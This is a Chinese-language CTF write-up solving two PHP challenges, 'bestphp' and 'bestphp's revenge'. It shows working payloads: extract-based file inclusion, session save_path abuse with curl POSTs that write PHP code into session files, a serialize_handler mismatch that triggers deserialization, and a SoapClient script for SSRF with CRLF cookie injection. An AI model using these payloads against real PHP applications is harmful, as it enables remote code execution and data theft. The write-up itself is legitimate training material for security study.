session_start()&bestphp
前言
又是週末,又是CTF,還是pupil出的題,只能說,非常有趣了
- bestphp
- bestphp’s revenge
前者來自xctf final,後者來自2018LCTF
bestphp1
檔案包含
拿到題目後發現
程式碼非常簡短,但是問題很明確,我們看到了函式
call_user_func($func,$_GET);
這裡想到的第一反應是利用extract進行變數覆蓋,從而達到任意檔案包含
例如:
?function=extract&file=php://filter/read=convert.base64-encode/resource=index.php
發現可以成功讀取,嘗試讀function.php
<?php function filters($data){ foreach($data as $key=>$value){ if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){ die('Do not hack me!'); } } } ?>
嘗試讀admin.php
hello admin <?php if(empty($_SESSION['name'])){ session_start(); #echo 'hello ' + $_SESSION['name']; }else{ die('you must login with admin'); } ?>
發現都不行,最後落點還得是在getshell,那麼思考一下攻擊方式,很容易就想到了最近熱門的session+lfi的攻擊方式
但是這裡有一個問題:
ini_set('open_basedir', '/var/www/html:/tmp');
我們無法直接去包含預設路徑
/var/lib/php/sessions/sess_phpsessid
那麼怎麼辦?
session_start
在走投無路的時候選擇檢視php手冊
發現session_start()中有這樣一段
那我們跟進會話配置指示
發現了save_path,跟進
發現該方式可以更改session儲存路徑,那我們嘗試一下
?function=session_start&save_path=/tmp
然後去包含
?function=extract&file=/tmp/sess_kpk22r3qq2v69d2uj1iigcp5c2?func
發現路徑更改成功,包含了session
那麼現在唯一的問題就是如何控制session的內容了,這裡我有想到最近很流行的session.upload_progress,但是這樣太麻煩了。
我們不難發現這裡有一個$_SESSION[‘name’],並且其可以被我們post的name複製,那這就可以達到控制session內容的目的。
我們嘗試
curl -v -X POST -d "name=<?=phpinfo();?>" http://vps_ip:port/?function=session_start&save_path=/tmp
再去包含對應的session
?function=extract&file=/tmp/sess_jisv70lep6v1nfokagdll4scs7
嘗試讀取目錄
curl -v -X POST -d "name=<?=var_dump(scandir('./'));?>" http://vps_ip:port/?function=session_start&save_path=/tmp
包含檔案
?function=extract&file=/tmp/sess_3b624no3ucdj27un5idq57jta0
可以成功列目錄
由於是本地環境,沒有存放flag,所以到此一步,題目就完結了。後面找到flag直接cat即可
bestphp’s revenge
拿到題目
index.php
<?php highlight_file(__FILE__); $b = 'implode'; call_user_func($_GET[f],$_POST); session_start(); if(isset($_GET[name])){ $_SESSION[name] = $_GET[name]; } var_dump($_SESSION); $a = array(reset($_SESSION),'welcome_to_the_lctf2018'); call_user_func($b,$a); ?>
flag.php
程式碼非常簡短,也很有意思,但是思路肯定很明確:SSRF
既然是SSRF,那麼該如何滿足以下條件呢?
- 訪問127.0.0.1/flag.php
- cookie可控,改成我們的php_session_id
那麼勢必得到一個php內建類,同時其具備SSRF的能力
SoapClient
這裡不難想到之前N1CTF出過的hard_php一題,裡面就使用了php內建類SoapClient進行SSRF
但是問題來了,我怎麼觸發反序列化?
看到
if(isset($_GET[name])){ $_SESSION[name] = $_GET[name]; }
我們不難想到,可以將序列化內容通過$_GET[name]傳入session,但是我們本地測試:
發現session裡的內容是會被進行一次序列化寫入的,並且還有
name |
這樣的東西存在。別說觸發反序列化了,我們連基本的語句都構造不出來。
後來搜到這樣一篇文章
https://blog.spoock.com/2016/10/16/php-serialize-problem/
首先我們可以控制session.serialize_handler,通過
/?f=session_start serialize_handler=php
這樣的方式,可以指定php序列化引擎,而不同引擎儲存的方式也不同
- php_binary:儲存方式是,鍵名的長度對應的ASCII字元+鍵名+經過serialize()函式序列化處理的值
- php:儲存方式是,鍵名+豎線+經過serialize()函式序列處理的值
- php_serialize(php>5.5.4):儲存方式是,經過serialize()函式序列化處理的值
同時根據文章內的內容,當session反序列化和序列化時候使用不同引擎的時候,即可觸發漏洞
假如我們使用`php_serialize`引擎時進行資料儲存時的序列化,可以得到內容
$_SESSION[‘name’] = ‘sky’; a:1:{s:4:”name”;s:3:”sky”;}
而在php引擎時進行資料儲存時的序列化,可以得到另一個內容
$_SESSION[‘name’] = ‘sky’; name|s:3:”sky”
那麼如果我們用php引擎去解php_serialize得到的序列化,是不是就會有問題了呢?
答案是肯定的,該文章中也介紹的很清楚
php引擎會以|作為作為key和value的分隔符,我們再傳入內容的時候,比如傳入
$_SESSION[‘name’] = ‘|sky‘
那麼使用php_serialize引擎時可以得到序列化內容
a:1:{s:4:”name”;s:4:”|sky”;}
然後用php引擎反序列化時,|被當做分隔符,於是
a:1:{s:4:”name”;s:4:”
被當作key
sky
被當做vaule進行反序列化
於是,我們只要傳入
$_SESSION[‘name’] = |序列化內容
即可 對了,如果你要問,為什麼能反序列化?
因為如下圖
如何觸發__call
光進行反序列化肯定是不夠的
我們看到soapclient想要觸發__call()必須要呼叫不可訪問的方法,那我們如何在題目有限的程式碼裡呼叫不可訪問方法呢?
看到這段程式碼
php $a = array(reset($_SESSION),'welcome_to_the_lctf2018'); call_user_func($b,$a);
這裡想到如下操作
我們只要覆蓋$b為call_user_func即可成功觸發不可訪問方法
payload
那麼完成payload即可
soap構造指令碼
<?php $target='http://127.0.0.1/flag.php'; $b = new SoapClient(null,array('location' => $target, 'user_agent' => "AAA:BBBrn" . "Cookie:PHPSESSID=dde63k4h9t7c9dfl79np27e912", 'uri' => "http://127.0.0.1/")); $se = serialize($b); echo urlencode($se);
先發送第一段payload
在傳送第二段payload
flag手到擒來!
後記
pupil出的這兩道session_start的題,可以說非常有趣了。漲了一波姿勢,彌補了一波N1CTF hardphp的遺憾。膜~